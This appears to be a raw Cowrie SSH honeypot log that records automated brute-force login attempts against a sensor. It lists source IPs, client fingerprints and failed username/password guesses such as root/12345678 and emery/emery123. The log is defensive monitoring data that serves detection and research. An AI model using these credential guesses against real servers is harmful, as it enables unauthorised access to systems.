{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:22.041044Z","src_ip":"83.168.110.85","session":"08598cd75c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:22.403956Z","src_ip":"83.168.110.85","session":"08598cd75c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:23.528814Z","src_ip":"83.168.110.85","session":"08598cd75c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50944,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f606c44e98","protocol":"ssh","message":"New connection: 83.168.110.85:50944 (159.203.135.109:22) [session: 54f606c44e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:32.205393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:32.212362Z","src_ip":"83.168.110.85","session":"54f606c44e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:32.333602Z","src_ip":"83.168.110.85","session":"54f606c44e98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:32.695599Z","src_ip":"83.168.110.85","session":"54f606c44e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:33.821693Z","src_ip":"83.168.110.85","session":"54f606c44e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47664,"dst_ip":"159.203.135.109","dst_port":22,"session":"956e60f7874b","protocol":"ssh","message":"New connection: 83.168.110.85:47664 (159.203.135.109:22) [session: 956e60f7874b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:42.671909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:42.676554Z","src_ip":"83.168.110.85","session":"956e60f7874b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:42.803774Z","src_ip":"83.168.110.85","session":"956e60f7874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:43.283936Z","src_ip":"83.168.110.85","session":"956e60f7874b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:44.407391Z","src_ip":"83.168.110.85","session":"956e60f7874b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58568,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9debb738b2d","protocol":"ssh","message":"New connection: 193.37.70.224:58568 (10.17.0.5:22) [session: c9debb738b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:51.483418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:51.488531Z","src_ip":"193.37.70.224","session":"c9debb738b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:51.583012Z","src_ip":"193.37.70.224","session":"c9debb738b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fduecn","message":"login attempt [root/fduecn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:51.868368Z","src_ip":"193.37.70.224","session":"c9debb738b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58678,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a3ca8f77ec","protocol":"ssh","message":"New connection: 213.209.159.56:58678 (10.17.0.5:22) [session: 11a3ca8f77ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:52.415782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:52.420337Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:52.505396Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery","message":"login attempt [emery/emery] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:52.907529Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:52.964576Z","src_ip":"193.37.70.224","session":"c9debb738b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55664,"dst_ip":"159.203.135.109","dst_port":22,"session":"82c5e4de7740","protocol":"ssh","message":"New connection: 83.168.110.85:55664 (159.203.135.109:22) [session: 82c5e4de7740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:53.062138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:53.223147Z","src_ip":"83.168.110.85","session":"82c5e4de7740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:53.227027Z","src_ip":"83.168.110.85","session":"82c5e4de7740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:53.820813Z","src_ip":"83.168.110.85","session":"82c5e4de7740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery1","message":"login attempt [emery/emery1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:53.993805Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:54.944536Z","src_ip":"83.168.110.85","session":"82c5e4de7740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery123","message":"login attempt [emery/emery123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:55.079759Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery1234","message":"login attempt [emery/emery1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:56.166152Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery12345","message":"login attempt [emery/emery12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:57.251944Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:58.336896Z","src_ip":"213.209.159.56","session":"11a3ca8f77ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37192,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc761b77c515","protocol":"ssh","message":"New connection: 83.168.110.85:37192 (159.203.135.109:22) [session: fc761b77c515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:03.772868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:03.777421Z","src_ip":"83.168.110.85","session":"fc761b77c515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:03.898391Z","src_ip":"83.168.110.85","session":"fc761b77c515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:04.262195Z","src_ip":"83.168.110.85","session":"fc761b77c515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:05.469085Z","src_ip":"83.168.110.85","session":"fc761b77c515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":53768,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb7c75202d8","protocol":"ssh","message":"New connection: 152.32.171.99:53768 (159.203.135.109:22) [session: 4cb7c75202d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:13.230087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:13.234432Z","src_ip":"152.32.171.99","session":"4cb7c75202d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:13.454713Z","src_ip":"152.32.171.99","session":"4cb7c75202d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c177e6ecb5c","protocol":"ssh","message":"New connection: 83.168.110.85:51288 (159.203.135.109:22) [session: 3c177e6ecb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.213363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.218174Z","src_ip":"83.168.110.85","session":"3c177e6ecb5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"telegraf","message":"login attempt [root/telegraf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.338372Z","src_ip":"152.32.171.99","session":"4cb7c75202d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh